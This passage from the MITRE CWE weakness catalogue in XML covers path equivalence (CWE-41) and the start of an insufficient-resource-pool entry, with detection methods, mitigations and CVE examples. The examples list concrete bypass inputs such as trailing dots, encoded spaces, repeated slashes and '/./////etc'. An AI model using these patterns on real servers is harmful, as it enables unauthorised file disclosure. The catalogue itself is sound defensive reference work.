            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Data Amplification</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Handle Highly Compressed Data (Data Amplification)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="41" Name="Improper Resolution of Path Equivalence" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.</Description>
         <Extended_Description>Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1114</Reference>
               <Description>Source code disclosure using trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1114</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1986</Reference>
               <Description>Source code disclosure using trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1986</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2213</Reference>
               <Description>Source code disclosure using trailing dot or trailing encoding space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3293</Reference>
               <Description>Source code disclosure using trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3293</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0061</Reference>
               <Description>Bypass directory access restrictions using trailing dot in URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0061</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1133</Reference>
               <Description>Bypass directory access restrictions using trailing dot in URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1133</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1386</Reference>
               <Description>Bypass check for ".lnk" extension using ".lnk."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1386</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0693</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0693</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0778</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1248</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1248</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0280</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0280</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0622</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0622</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1656</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1656</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1603</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0054</Reference>
               <Description>Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1451</Reference>
               <Description>Trailing space ("+" in query string) leads to source code disclosure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1451</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0293</Reference>
               <Description>Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0293</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1567</Reference>
               <Description>"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1567</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0253</Reference>
               <Description>Overlaps infoleak</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0253</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0446</Reference>
               <Description>Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0446</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0334</Reference>
               <Description>Bypass Basic Authentication for files using trailing "/"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0334</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0893</Reference>
               <Description>Read sensitive files with trailing "/"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0893</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0892</Reference>
               <Description>Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0892</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1814</Reference>
               <Description>Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1814</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>BID:3518</Reference>
               <Description>Source code disclosure</Description>
               <Link>http://www.securityfocus.com/bid/3518</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1483</Reference>
               <Description>Read files with full pathname using multiple internal slash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1456</Reference>
               <Description>Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1456</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0578</Reference>
               <Description>Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0578</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0275</Reference>
               <Description>Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0275</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1032</Reference>
               <Description>Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1032</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1238</Reference>
               <Description>Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1878</Reference>
               <Description>Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1878</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1365</Reference>
               <Description>Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1365</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1050</Reference>
               <Description>Access directory using multiple leading slash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1050</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1072</Reference>
               <Description>Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1072</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0235</Reference>
               <Description>Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0235</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1078</Reference>
               <Description>Directory listings in web server using multiple trailing slash</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1078</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0847</Reference>
               <Description>ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0847</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0004</Reference>
               <Description>Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0004</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0304</Reference>
               <Description>Server allows remote attackers to read password-protected files via a /./ in the HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0304</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>BID:6042</Reference>
               <Description>Input Validation error</Description>
               <Link>http://www.securityfocus.com/bid/6042</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1083</Reference>
               <Description>Possibly (could be a cleansing error)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1083</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0815</Reference>
               <Description>"/./////etc" cleansed to ".///etc" then "/etc"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0815</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0112</Reference>
               <Description>Server allows remote attackers to view password protected files via /./ in the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0112</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0696</Reference>
               <Description>List directories using desired path and "*"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0696</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0433</Reference>
               <Description>List files in web server using "*.ext"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0433</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1152</Reference>
               <Description>Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1152</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0191</Reference>
               <Description>application check access for restricted URL before canonicalization</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1366</Reference>
               <Description>CGI source disclosure using "dirname/../cgi-bin"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1366</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0012</Reference>
               <Description>Multiple web servers allow restriction bypass using 8.3 names instead of long names</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0012</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0795</Reference>
               <Description>Source code disclosure using 8.3 file name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0795</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0471</Reference>
               <Description>Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0471</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Path Equivalence</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO02-C</Entry_ID>
               <Entry_Name>Canonicalize path names originating from untrusted sources</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="3"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">Some of these manipulations could be effective in path traversal issues, too.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Equivalence</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Resolve Path Equivalence</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="410" Name="Insufficient Resource Pool" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.</Description>
         <Extended_Description>Frequently the consequence is a "flood" of connection or sessions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="400" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Other</Impact>
               <Note>Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
